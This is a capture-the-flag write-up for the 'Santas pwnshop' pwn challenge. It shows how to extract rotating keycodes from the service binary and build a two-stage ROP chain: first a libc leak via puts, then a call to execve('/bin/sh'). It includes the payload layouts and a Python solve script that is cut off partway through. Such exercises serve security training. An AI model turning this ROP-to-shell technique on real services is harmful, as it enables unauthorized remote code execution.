# Santas pwnshop - Pwn (300)
Santa is giving out an early XMAS-gift to all the good little hackers. Theres a secret backdoor to the PWNSHOP but its protected by a very paranoid lock that automatically changes keycodes often. If we could hack that, we could grab as many XMAS-gifts as we wanted!
Service: nc 18.205.93.120 1205
Download: [T2CytbnZ9lShvuOBkDkpqLB6tjPDCvfa-pwnshop.tar.gz](https://s3.amazonaws.com/advent2018/T2CytbnZ9lShvuOBkDkpqLB6tjPDCvfa-pwnshop.tar.gz) [(mirror)](./static/T2CytbnZ9lShvuOBkDkpqLB6tjPDCvfa-pwnshop.tar.gz)
## Finding the Backdoor
Connecting to the service, we see that we have two options: get a "gift" or "leave". Getting the gift is actually a base64-encoded and compressed version of the target service binary. Once we decompile this binary we see that its actually quite simple. The service has one hidden "backdoor" function which is accessible by choosing option "666". This backdoor function checks 16 "keycodes" as shown in the IDA pro disassembly below.
![pwnshop backdoor function](./images/pwnshop_backdoor.png)
It turns out these keycodes change each time you connect to the service and download the binary so we need to write an automated way of reading these out of the binary. Luckily, the keycodes are all at a fixed offset within the binary so its simple enough to compute that offset for all 16 values enter them in an automated program when we access the backdoor. Once we pass each of these checks, the program calls the function "win" as described in the next section.
## ROP
Once we start executing the "win" function, we have a buffer we can fill which will overwrite the return address and more, giving us an obvious ROP exploit technique. In this instance, the obvious answer is to setup the stack so that we call `execve("/bin/sh")`; however, both of those primitives (the address for execve and the shell string) are in libc which is randomized in memory. So before we attempt to call these addresses we need to find the location of libc in memory. I chose to do this by first sending back memory from an address I knew was in libc, and the calling "win" again to call `execve()`.
This means our first ROP payload looks like
```buffer+0:  0x080483DA             -- return to "ret" instruction (just jumps to the next return)buffer+4:  0x080483DA             -- return to "ret" instruction (just jumps to the next return)buffer+8:  0x080483DA             -- return to "ret" instruction (just jumps to the next return)buffer+12: 0x080483DA             -- return to "ret" instruction (just jumps to the next return)buffer+16: 0x08048450             -- instruction for "jmp puts"buffer+20: 0x08048703             -- "win" function addressbuffer+24: 0x0804D00C             -- puts parameter 1: pointer to "read", located in libc```
Sending this will send back a long string which starts with the address of "read", and then re-start the "win" function allowing us to send a second ROP payload. Using the returned "read" address we can compute the starting address of libc and from there the addresses of `execve()` and the string `"/bin/sh"`. With that we can construct our ROP chain as:
```buffer+0:  0x080483DA             -- return to "ret" instruction (just jumps to the next return)buffer+4:  0x080483DA             -- return to "ret" instruction (just jumps to the next return)buffer+8:  0x080483DA             -- return to "ret" instruction (just jumps to the next return)buffer+12: 0x080483DA             -- return to "ret" instruction (just jumps to the next return)buffer+16: libc_start+0x000BE350  -- execve addressbuffer+20: 0                      -- unused return buffer+24: libc_start+0x0017B8CF  -- execve parameter 1: pointer to "/bin/sh"buffer+28: 0                      -- execve parameter 2: zerobuffer+32: 0                      -- execve parameter 3: zero```
## Final Code
Putting all of this together, we have a python script which gets us to a shell and then `cat`'s the flag.
```pythonimport timeimport sysimport base64import structimport gzipimport socket
def read_gift():	with gzip.open('pwnshop_gift.gz','rb') as f:		gift = f.read()		f.close()
	with open('pwnshop_gift','wb') as f:		f.write(gift)		f.close()
	val0, = struct.unpack('<I',gift[0x7c0:0x7c4])	val1, = struct.unpack('<I',gift[0x7d1:0x7d5])
	val3, = struct.unpack('<I',gift[0x7f0:0x7f4])	val4, = struct.unpack('<I',gift[0x801:0x805])	val5, = struct.unpack('<I',gift[0x812:0x816]) 	val7, = struct.unpack('<I',gift[0x831:0x835])	val8, = struct.unpack('<I',gift[0x842:0x846])	val9, = struct.unpack('<I',gift[0x84f:0x853]) 	val11, = struct.unpack('<I',gift[0x866:0x86a])	val12, = struct.unpack('<I',gift[0x873:0x877])	val13, = struct.unpack('<I',gift[0x880:0x884]) 	val15, = struct.unpack('<I',gift[0x897:0x89b])	val16, = struct.unpack('<I',gift[0x8aa:0x8ae])
	keycodes = [val0,val1,1,val3,val4,val5,1,val7,val8,val9,1,val11,val12,val13,1,val15,val16]	print('keycodes:', keycodes)	return keycodes
def readuntil(s,match):	buf = s.recv(1024)	while not buf.endswith(match):		buf = buf + s.recv(1024)	return buf
def solve(ipaddr='18.205.93.120'):
	s = socket.socket()	s.settimeout(5)	s.connect((ipaddr, 1205))
	buf = readuntil(s,b' > ')	print('requesting gift')	s.send(b'1\n')
	buf = readuntil(s,b' > ')	print('parsing gift')	i = buf.find(b')')	b64_gift = buf[34:i]	gift_zip = base64.b64decode(b''.join(b64_gift.strip().split()))	with open('pwnshop_gift.gz','wb') as f:		f.write(gift_zip)		f.close()
	keycodes = read_gift()
	print('requesting backdoor')	s.send(b'666\n')
	for i in range(16):		buf = readuntil(s,b'Enter keycode %d: '%i)		print('sending keycode %d:'%i, keycodes[i])		s.send(b'%d\n'%keycodes[i])
	buf = readuntil(s,b'Enter new keycode: ')
	# 0x08048450 -> jmp _puts	# 0x08048703 --> "win" function	# 0x0804D00C --> read in got_plt	ret_gadget = 0x080483da	jmp_puts_addr = 0x08048450	win_addr = 0x08048703	read_got_plt_addr = 0x0804D00C
	rop = struct.pack('